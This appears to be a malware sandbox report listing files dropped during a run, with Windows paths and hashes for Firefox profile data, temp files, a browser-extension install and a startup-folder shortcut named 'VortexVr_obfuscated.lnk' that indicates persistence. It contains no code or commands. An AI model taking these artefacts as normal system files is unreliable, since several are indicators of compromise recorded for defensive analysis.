SHA512 29038f9f3b9b12259fb42daa93cdefabb9fb32a10f0d20f384a72fe97214eff1864b7fa2674c37224b71309d7d9cea4e36abd24a45a0e65f0c61dc5ca161ec7c
SSDEEP 768:FLu2LJObDMMGynnlGGRgS3c95S6uqs8hbiiAUU+GFs8XAxr18+to4rN7:FLu2LgfMMGynlGGWS3S5S6uqs8diBUUE
TLSH
T1BB235192A3EF8AB292CAF5D908A70CD35F3592F51BC3308C07D2554C57BDEB504DAA4A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb_model_build_attachment_real_estate.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6leyazu9.default-release\personality-provider\nb_model_build_attachment_real_estate.json
Size 67KB
SHA256 efcf6b2d09e89b8c449ffbcdb5354beaa7178673862ebcdd6593561f2aa7d99a
MD5 9899942e9cd28bcb9bf5074800eae2d0
SHA1 15e5071e5ed58001011652befc224aed06ee068f
SHA512 9f7a5fbe6d46c694e8bc9b50e7843e9747ea3229cf4b00b8e95f1a5467bd095d166cbd523b3d9315c62e9603d990b8e56a018ba4a11d30ad607f5281cc42b4cd
SSDEEP 1536:1HbzBc8oBPUqosGZzqWnp2HGmj2oEVK2rQoe4my08:pX3oBPlGdqWnp2H1j2okJU8
TLSH
T13F63859153EF4AF1A2CAF9940CAB08936FF551F92BD2328C1B9585989775FB010F3E09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb_model_build_attachment_reference.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6leyazu9.default-release\personality-provider\nb_model_build_attachment_reference.json
Size 56KB
SHA256 3619daa64036d1f0197cdadf7660e390d4b6e8c1b328ed3b59f828a205a6ea49
MD5 567eaa19be0963b28b000826e8dd6c77
SHA1 7e4524c36113bbbafee34e38367b919964649583
SHA512 6766919b06ca209eaed86f99bee20c6dad9cc36520fc84e1c251a668bcfe0afcf720ea6c658268dc3bbaaf602bfdf61eb237c68e08d5252ea6e5d1d2a373b9fe
SSDEEP 1536:CoUbONFuEIHoh/SzhzCb8RxLnIp4umt1iBfOowttMP5cRdH6Q1:CoUGFuEpSz9CWIpN21ihOhtMP6R7
TLSH
T17943539153EF4AF262CEF9A408EB08975FF551F52BD3328D0BD1815857B9EB110F2A0A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb_model_build_attachment_science.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6leyazu9.default-release\personality-provider\nb_model_build_attachment_science.json
Size 56KB
SHA256 9606ce3988b2d2a4921b58ac454f54e53a9ea8f358326522a8b1dcc751b50b32
MD5 7a8fd079bb1aeb4710a285ec909c62b9
SHA1 8429335e5866c7c21d752a11f57f76399e5634b6
SHA512 8fc1546e509b5386c9e1088e0e3a1b81f288ef67f1989f3e83888057e23769907a2b184d624a4e4c44fcd5b88d719bd4cca94dfb33798804a721b8be022ec0c6
SSDEEP 1536:LjYZHEpB1Uj1/uC+Kgaj+ZSftvIu46MOYwZ6pFIIP0:LMZSzUj1WC+BajtftvIu4Ep
TLSH
T12F43549153EF4AF1A2DBF9A808AB08935FF551F42BD3718D0BD195489779EB010F3A0A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb_model_build_attachment_shopping.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6leyazu9.default-release\personality-provider\nb_model_build_attachment_shopping.json
Size 67KB
SHA256 bfd7e68ddca6696c798412402965a0384df0c8c209931bbadabf88ccb45e3bb6
MD5 97d4a0fd003e123df601b5fd205e97f8
SHA1 a802a515d04442b6bde60614e3d515d2983d4c00
SHA512 111e8a96bc8e07be2d1480a820fc30797d861a48d80622425af00b009512aacb30a2df9052c53bfbf4ee0800b6e6f5b56daa93d33f30fecb52e2f3850dfa9130
SSDEEP 1536:1vkMySD619DD3TjGVEcPtlGjsVLGNy9gvRa6a6ElLf2M3yi70rB:9WG6LDDjjQE6tlGBvRa6hxiorB
TLSH
T1F963845593EF0AB1B6CEF9A40CA708936EF551F92BD2328D1F819098D779BB010F3909
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb_model_build_attachment_sports.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6leyazu9.default-release\personality-provider\nb_model_build_attachment_sports.json
Size 56KB
SHA256 44da98b03350e91e852fe59f0fc05d752fc867a5049ab0363da8bb7b7078ad14
MD5 ce4e75385300f9c03fdd52420e0f822f
SHA1 85c34648c253e4c88161d09dd1e25439b763628c
SHA512 d119dc4706bbf3b6369fe72553cfacf1c9b2688e0188a7524b56d3e2ac85582a18bbee66d5594e0fb40767432646c23bf3e282090bd9b4c29f989a374aeae61f
SSDEEP 1536:YwvnrcvFvtCkX5EAPqPaFg3GlEIwULrIHqBuH5qM:YwfAvgIrqPaq3GlE4Ej
TLSH
T1AA43649157EF4AF166DAF9A408AB08936FF551F92BC3328C0BD1914857B9FB110F390A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb_model_build_attachment_travel.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6leyazu9.default-release\personality-provider\nb_model_build_attachment_travel.json
Size 67KB
SHA256 4336ac211a822b0a5c3ce5de0d4730665acc351ee1965ea8da1c72477e216dfa
MD5 48139e5ba1c595568f59fe880d6e4e83
SHA1 5e9ea36b9bb109b1ecfc41356cd5c8c9398d4a78
SHA512 57e826f0e1d9b12d11b05d47e2f5ae4f5787537862f26e039918cb14faff4bc854298c0b7de3023e371756a331c0f3ee1aa7cebbbf94ec70cdfc29e00a900ed1
SSDEEP 1536:FNDkURt4oUTXolLQth8P2GHmB8+JEzoKGOcFhgywm3xXfKTvGHOym621Hp7JgET0:F/Rt4okQKoaaG7hPhhXCTvG4COq
TLSH
T1E363759143EF4AF1A2CAFA980CAB08935FF551F52FD2328D4BD5514897B9FB010F6A09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recipe_attachment.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6leyazu9.default-release\personality-provider\recipe_attachment.json
Size 1KB
SHA256 fc07d42847eeaf69dcbf1b9a16eb48b141c11feb67aa40724be2aee83cb621b7
MD5 be3d0f91b7957bbbf8a20859fd32d417
SHA1 fbc0380fe1928d6d0c8ab8b0a793a2bba0722d10
SHA512 8da24afcf587fbd4f945201702168e7cfc12434440200d00f09ddcd1d1d358a5e01065ac2a411fdf96a530e94db3697e3530578b392873cf874476b5e65d774a
TLSH
T16D41F63DB421186302E6676236DF42C4233402BE9EC17758FB88D49A5EFD5792236B2F
MD5 SHA1 SHA512 TLSH

Submit Download

webext.sc.lz4

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6leyazu9.default-release\startupCache\webext.sc.lz4
Size 105KB
SHA256 1159ef121c995d5b3c7c26e971f1675f260adf0145dadf4cb5cbe54b5df1e644
MD5 5e03db071506dc9ca844a48d26ed41a3
SHA1 f14f153d69cf56acef9b481adce9b43ebaf7e8f6
SHA512 79efb55e757141d35df4e2f3af7d071f11de681dd8331830133eb977e36f9ac243284188ee17440a2898cce18b6bec68686fecb74b7b57dc3e508c1a3e46c3e4
SSDEEP 3072:j3lOwuc+K1G0PoMCzHZaTQy7AomI6oOdg6:pOY+K1/QfZaT+oQlg6
TLSH
T1F8B3AFF6CFA3897E64FFD01D9A82C93EFD162404B393300AC953775452C6BB8667A648
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

webext.sc.lz4

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6leyazu9.default-release\startupCache\webext.sc.lz4
Size 105KB
SHA256 6fc168306e2277c2b800a98bdab19dce4b59b736d29c7a43e3557c3912b9433a
MD5 d7cab75c07acf7627df1f6791af282a2
SHA1 daa8a7364075a1049e0f3e724952e497720a8571
SHA512 d428eaf1fd334e4c7da583298fe477dd12047dcf463fb66a4f52845434eff79999afbf6e35a2478f103e3eed54bda1b207dfc43e0b1032b00271bafd75f4a122
SSDEEP 3072:X3lOwuccyZdnYT/TObrZaTQy7AomI6oOdgR:FOYcYdYLoZaT+oQlgR
TLSH
T10FB3AFF6CFA3C97D64FFD02DAA82893EFD162404B393341AC813775452C6BB86679648
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5dfbe8d6-f80c-4c88-b19f-935b7833fcbe.zip

Path C:\Users\Admin\AppData\Local\Temp\5dfbe8d6-f80c-4c88-b19f-935b7833fcbe.zip
Size 3.8MB
SHA256 df4a1cd562eef86e117e9a79497f799c3bb82d7a1c5ac8d9c240abf8640ff159
MD5 95ba08187ddb4e27dd69430be0320e72
SHA1 ac31024971fe7cfb8b0f78f5fd711b67121875cb
SHA512 c4db61248a74a17417310c47b4c11d11b3299de2a3180541429dfc2d42a9adb4174381c54a321bec3a59dfc37ab6e2429c635f61b1ffc402833285d435d9d0cd
SSDEEP 49152:YRbffsMDFFzwF7YyPeit5NFn1ZG6joqDtaSi+Fk7mJe8K12MxH3+qcxDoegA3oE6:6bf2YXc/1ZLAAFk7Ge8sxVEh3oEVg
TLSH
T13606F135D65C1609CDFF83BA8D0D2FC2B84C4FAE8054B96B6A6A99715CE31E21F44B4C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_nxyowjvs.0mj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxyowjvs.0mj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

remote-settings-startup-bundle-

Path C:\Users\Admin\AppData\Local\Temp\remote-settings-startup-bundle-
Size 568KB
SHA256 c31f8777049ad206c801474e5cf612684e11afb4d774167bcecc74228b2f5277
MD5 bbac624c130b647bf9e94d9961a3f2be
SHA1 8f36e9e5c892ea5cc2aafc041f6cff0a3c90b95a
SHA512 87826cf391db724dfbff7f0603e28e10da673724d56ebc756fffeaceb3731d38b85ecff5a28d4184f4efb60cb8a15a1f597e0c72f704835addcac1a33431f039
SSDEEP 12288:/Vv5f/m8BIcWs1jp25BTq+cA3tn11XGVfxh/IscPaIb9bYIaW4neIgYy:9vdm0WsO5BTq+cA9nn+f/gvyI5qjPy
TLSH
T14CC402F5F76078A2A7BE034B9D867FAD1B525622C38EE0CC447B2BC2455772AAF65100
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3092_218162506\CRX_INSTALL\_locales\en\messages.json
Size 450B
SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
MD5 dbedf86fa9afb3a23dbb126674f166d2
SHA1 5628affbcf6f897b9d7fd9c17deb9aa75036f1cc
SHA512 931d7ba6da84d4bb073815540f35126f2f035a71bfe460f3ccaed25ad7c1b1792ab36cd7207b99fddf5eaf8872250b54a8958cf5827608f0640e8aafe11e0071
TLSH
T1D3F055CB9000FC5E538BC00EB10072282BA603E01AD1726724EC1C0E67DFDAEB143F9A
MD5 SHA1 SHA512 TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3092_218162506\CRX_INSTALL\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir6112_1476465489\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

59QS6UPB7IX760LJRVBA.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\59QS6UPB7IX760LJRVBA.temp
Size 7KB
SHA256 951a48a98b90c343ea7c1df62100e44a3d703537c99340d306ddb449927f6e60
MD5 3e5ebe08b887dbde2fd6e2c3cf4c5388
SHA1 51f045f1e708c586bf76de294dab33946eccec42
SHA512 ac10d54c8db431ea438d739892245bf629d7031b08401a6d71f7cee035cfc181c7a4f96fc755ec418325ddbba558e862e0fc7e6152fa2d271be1e0e42fa1e359
SSDEEP 48:pJ16d0tJ5Ugdwu7dlpzz816d0tJ/6Bdwu7dlv3z616d0tJ/adwu7dldQaT16d0tp:vfJyf/iCf/yZfmaODk
TLSH
T16EE1EA021BFB0DA6F4F3827236316757AB73FD01060B521DC187A2960A323A4566DFE3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VortexVr_obfuscated.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr_obfuscated.lnk
Size 1KB
SHA256 eae5ab11010133feb52b80ecb6113a1623817114d98e43ef64d8324a37db488d
MD5 65a01082f6ce0f2b9d72c7ecd7deb188
SHA1 e7b5520a0e3ca43e249d9c2f0c7f84585f6cff93
SHA512 91b0f868eb08ad06655a4c647b192b504dd094c42ca2953ba28216af6a8a8922c0201e44b0b81b810a7fd4f651fb2ff598817b58e20bbb47f4428db00d2f9ace
TLSH
T16921E11198821F29C23F597394D622FA9675BC60F642AF0C4060A2983E26B42A95CF1F
MD5 SHA1 SHA512 TLSH

Submit Download

addonStartup.json.lz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\addonStartup.json.lz4
Size 4KB
SHA256 05bdab8c31fd054e8c0471e1b9a5ce1a144a601c476725f616490ae1a646748e
MD5 c8914bac46224c8e80cbc1dd6ba50644
SHA1 19e5636871a23d9e000301777cdec2dbebeb047c
SHA512 f52b8b3923f7eacb317986a65ae0b84012a09487a11825464f561bcab3c096a234dce489606f3d76a38f9ae2ee0bb5998bc9a0341de3c9787f420934a0a947e0
SSDEEP 96:NLOp4sHNw6M2xWGhD41MgGvmHhF+rUpO1LnOYvhQhIRhN:Nl52xxhD8rGvm6ApwnHUuhN
TLSH
T146A17EB6D142EF61FD36C04358E57FB2EAD5AB7410A9C4D4F1AA71294D24E735704340
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bookmarks-2026-08-18_10_294-s-VwlaDA_TJmWaj7A7kTBFKhKgBzRXe5eGbGBh0=.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\bookmarkbackups\bookmarks-2026-08-18_10_294-s-VwlaDA_TJmWaj7A7kTBFKhKgBzRXe5eGbGBh0=.jsonlz4
Size 861B
SHA256 4ff52efcd61ba011e6c51b2928e2fdf7ac417edb098c2fb8131d0db43212b4ac
MD5 8f56202170f63f33dfcb66ae0b8c801f
SHA1 0e62218cf65924c297f591939222ee6e42f6bbf0
SHA512 9189012bf9427c42bb60cfb74eac5f80c790b424305f6d4a99c44711dc12b7d0f501c2fe24dcb646ae40ae9d3da3eac2ed174bc604ec2e3e0d255c87ec785ec8
TLSH
T147116F19E9F208E01AD2403E40021BA5AAE37E069AD518ECFEC9089820885C093EA78A
MD5 SHA1 SHA512 TLSH

Submit Download

compatibility.ini

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\compatibility.ini
Size 198B
SHA256 252b7fff962848c61092e82a3d87adca163849767713a93ab533bb397f1f53bb
MD5 ce9ef13caa8a74c25157b184aa038475
SHA1 db03a9935d8bb3ce6b120aca98feade536805160
SHA512 0f6f5053e78167ef5cc5fa70ed3a87dd116df0671a590299277a197341bed983e3d77e37ad2c33cd4afe880fab9ed1c7f7502210040617a01f97a81c1e1d4f29
TLSH
T1C1D022818BC7848C9D4AA8E4537C38086BF2EE0E0604492A32827F0B4164F09023C3F9
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\db\data.safe.tmp
Size 31KB
SHA256 21a94718ee65e657978e08bc1c323da925f14bba0f7e1f46285a58593a0a95a7
MD5 a564ff6e23302b38641e50db3d3be082
SHA1 22642999bf4f5bc37a9252149f5df9b7f2134923
SHA512 3494eb99bc20ae0c9dfa3092a00b1d95db3f74526ce6ab8f2ecf4c80514228034fed09b1351401f57dc0bd028e17cefbd8eeaa90d457685fe36d81fa9b494750
SSDEEP 384:Ld66Joz/zgC1jcboA5myjODHCkm4xbMIbCYNtGcm+ulgLeqKq6bahbBbXnfpQ:E1euxH+IbhnGcm+uSKqKq6bahbBbvpQ
TLSH
T134E20044EB2E553FC41512BBDCA51B102F79F88658192FAB3A4C64686C872DC3E9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\db\data.safe.tmp
Size 31KB
SHA256 1e92298a5adb98318c23368012f1d4a9578cd8d0ee0134e943ace74586d6ed4a
MD5 154010757f71cc48a8392b9a5837de8f
SHA1 284253dd19bf19e00f94214e98af9fc6ed85ee85
SHA512 d5a033932dedb3bf13cfcf9a38cdbd15470115c982200bf8eec51da938642c2f085fe833b3d0112717dd13ec1f10bf957e74a18894e26a852aff0c2b7630f64c
SSDEEP 384:Ld66Joz/zgC1jjDHCkm4xbMIbCYNtGcm+ulgLeqKq6bahbBbXnfpFboA5myj8:E1BH+IbhnGcm+uSKqKq6bahbBbvp1uP
TLSH
T1A8E20044EB2E553FC41512BBDCA51B102F79F88658192FAB3A4C64686C872DC3E9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\db\data.safe.tmp
Size 31KB
SHA256 864a3a8b569efcefefbd0dbdd44eb4a44fd929e2af22eab877302616b580c05c
MD5 c09b54dfe539324a9c9afc0ab5f5da73
SHA1 11790f17eab9f5190d8dbbdecd533b9c0af0e50b
SHA512 66e18e6546779b79b3d31d2459e42c41fdb7577ff096ef4327cdfa2a7c7843f3dacbfe539f055697755ec4b8d7886ba830bb5411c0007ef34f1fe02e2e5b1a02
SSDEEP 384:gDHCkm4xbMIbCYNtGcm+ulgLeqKq6bahbBbXnfpFboA5myjNd66Joz/zgC1jd:qH+IbhnGcm+uSKqKq6bahbBbvp1ub1/
TLSH
T193E20044EB2E553FC41512BBDCA51B102F79F88658192FAB3A4C64686C872DC3E9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 7395ae4aacfef265f79bd3354ddcd8117113be4775c343c7f89b2545ee34429d
MD5 8a9d6c2a94dcca29731f5733d16163f5
SHA1 9a733ed2ca719212be4da92e96dd3d7b46cdfd53
SHA512 99cecb5f8786620bdc21b3c26d30f7148b4141af6935daed44c4c502a973a5372b0f784b5a85bd6cf56eb8a726eed906939f57557ce03f7296a383e5f37936b4
SSDEEP 192:ebm1d66JoztdzgCl6mc0dCOv5zbo7h5myjslMo:Ld66Joz/zgC1jzboF5myj8
TLSH
T1A0E12168EA28463BC444137BCCA52F400F39389A984E7F2975DD641C2D572DE368E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\db\data.safe.tmp
Size 31KB
SHA256 a5ab7cce8049bfd1aae1756e999aa9433823c33c81ce23826feeb490371419ea
MD5 78dca3ed5286d0443cfe0530bdb26b53
SHA1 3507eb03d1a48e8d55055e66278541b4ec757d88
SHA512 3d58289d2aa4d4b6f10d9f6f0dbd8a58a70cc5aee69644e54f2d52ac416e29f3419ec95482e642639cf6008b8ae1ba96d7f88f598b78e85cb2946710c0ca928d
SSDEEP 384:bboA5myjODHCkm4xbMIbCYNtGcm+ulgLeqKq6bahbBbXnfphd66Joz/zgC1jd:/uxH+IbhnGcm+uSKqKq6bahbBbvpu1/
TLSH
T116E20044EB2E553FC41512BBDCA51B102F79F88658192FAB3A4C64686C872DC3E9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 49e8a80895e5230218a6cfedb8e1161dec60e803377c07d834979a63fb375fce
MD5 7aeaf62d88cd1bb664706abb4c778f43
SHA1 1855283dbf0ba66e25e100eab9fc79062bb647fa
SHA512 551553f12a98d13372ab757fcd3ed45184648782fa9e141b35b1b62fe661f591f5f224fa71c4927d21d20a774686c11f1b4f9880295546fd271619fa0d628de2
SSDEEP 192:QOv5zbo7h5myjslMEbm1d66JoztdzgCl6mc0d:bboF5myjNd66Joz/zgC1j
TLSH
T13FE12168EA28463BC444137BCCA52F400F39389A984E7F2975DD641C2D572DE368E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 5cf7d436c1550b41458601eb4472f8ae898dd81959fe5ed4db695c64369fa977
MD5 8312a42dffb6553779b16d5135afde5d
SHA1 94de01035007787bfdca9520ad2ff5ad57c195e6
SHA512 3256deb81c1cb17dbb990678640460751e03fa20112840678cd699c1fca49ab0682d6d45b68aa39211e419d0fd47777135c0506841477209a411d5253c6d520e
SSDEEP 192:ebm1d66JoztdzgCl6mc0dxOv5zbo7ZZ5myjslMo:Ld66Joz/zgC1jobolZ5myj8
TLSH
T135E12168EA28463FC44453BBCCA62F400F39389A984E7F2975DD641C2D572DE368E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\events\events
Size 2KB
SHA256 1f04b73e647759076d3d1912e4615aa3d763fff3b8564ee93f6547c852d228e1
MD5 7eb22cdf5d124c7524c94fbf4a325a5c
SHA1 8034200986b4f4774d8e7e76c4773e530a5603f5
SHA512 c132106be15a7101e1ebff60f33a4e45ab1a89a1db9b45e3ebb4cb22d295bf710ff23a5f23133338d532f0cfc4ae5906a24546b72343bb8b24f082cd7513b335
TLSH
T1AB51964C66BB5C7A68CBE2DDF851028D56C54B0294862D838CC2FE4CCE53A99316F43D
MD5 SHA1 SHA512 TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\events\events
Size 1KB
SHA256 b832aa524da4e5d22da45e0b32ae7d40e1571887065b0d581b8d0095c8083cdd
MD5 6396340bc0d8ff89186f6567d4c596b9
SHA1 7816f363cbaa05a931c2e12d85e83efd2c44097f
SHA512 d73475fd74465873caae11f8d9dc51421ec8ab859b9092dd8cec4a7d91087556b956aca2549445b720a6bbc37ec0d3f33593b324b864ed09c74f76125c709f2d
TLSH
T1A921675C3AFA4D2A98CBE6DC7461028E53914A4704871D434D42FF8CCE91AD9317A83C
MD5 SHA1 SHA512 TLSH

Submit Download

73295ac3-cec4-46e1-a00c-d8792186852a

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\pending_pings\73295ac3-cec4-46e1-a00c-d8792186852a
Size 2KB
SHA256 85cdfef6e0617582de73d11033c0ef5e6f665aa829e3965df0bf5322421c3484
MD5 160a1b54156acf406df603c3967ec6b3
SHA1 544f7f4d63f909f67b83879e2bf3def2fa6e6f68
SHA512 35ebd67b2eb368f92b0c1f4855bce8d6b17f9a3aed88b67704681539b3a27439421254ca33bc4702bf31b27cb6e5386bde223aaa3517cf19b66c75c944b3fb6d
TLSH
T1ED41336C35784D7A8CCAF68D90C233CD9760DA5304872C932D55EF0CCD9669E336A52B
MD5 SHA1 SHA512 TLSH

Submit Download

808b1f26-b11a-4b86-8127-2887ab94a55e

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\pending_pings\808b1f26-b11a-4b86-8127-2887ab94a55e
Size 886B
SHA256 dbe543e5408bf6609d0ba3a8b1c4012d79b4d12a15c44446e20100c256484b06
MD5 cfa02b5d72f0fd2ce8349fd4631a6cfc
SHA1 2797da81fcaf19b365df290e287b4e23a0bea3b3
SHA512 34c9f47aa124746c3764ed6297ffa5e350bd6859d210398cbbfb9ccdbc80250d677fabbcb3cbe9fde42952006020ec4fa5088785a73ecc8609f3a852389f3d2d
TLSH
T100112784CA247572CC78D28B94D577524BE4B073C0C759343DE15F184DFA54F6756607
MD5 SHA1 SHA512 TLSH

Submit Download

86955169-9227-4005-85ac-050ce502650c

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\pending_pings\86955169-9227-4005-85ac-050ce502650c
Size 883B
SHA256 8af34fb67e2245d2fb3d10a8056399bd7fb93281e38ea103785f68b7c740d04d
MD5 ea6f4987f6b91576b86ea5a5db3bc613
SHA1 9344fa803946ed4599a4b96b011ff9c551db952a
SHA512 dbd6e33b1a8d6ac1c5d7447ca381e466ce278f3976f54796749e42c4dbea17d1808ff6e11bd2640dd7fa0ece8dfd78f1f90585e25a19ed97393e6216b4eb7e9d
TLSH
T163112344A63475B2CC68D38FC8967B128FF8B46380CA94243DB19F184E7F50F976A60B
MD5 SHA1 SHA512 TLSH

Submit Download

8a380f7b-2cdb-4710-8f1a-a88f727a9d2a

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\pending_pings\8a380f7b-2cdb-4710-8f1a-a88f727a9d2a
Size 16KB
SHA256 76dc8077027cd6c6d5805bd2a4c2cca11bb57936950208d6d5b563b7279f336e
MD5 e2ef11ceb1f01af3a3af0414b8e5451f
SHA1 5c91ab365c5ee7524962c6ac8d0af54f4545ef19
SHA512 ae611bb004c7eda312fb462b934d81d6ee745f831eb2d6761eddc3b8aa2233c60789f6f8337dfa1f81a1ddaf535fbf637eaf16746dc70a9e24edb599ada38276
SSDEEP 192:nmyBMuUg1hrM5hiocFk/syjbmj6zvkHCK73cd5xjrIoQ+i5xUzxR67W5YeDJ7t++:myiUr8wHEyNMfxjc9+i5KlR67WKe9V
TLSH
T12C72B916582055BAC591E3A9D4E87FC3E6F528CF4C019FCE9BE4BE0859DA0AE112784B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8e755647-cc80-4232-ad39-a579949f39cb

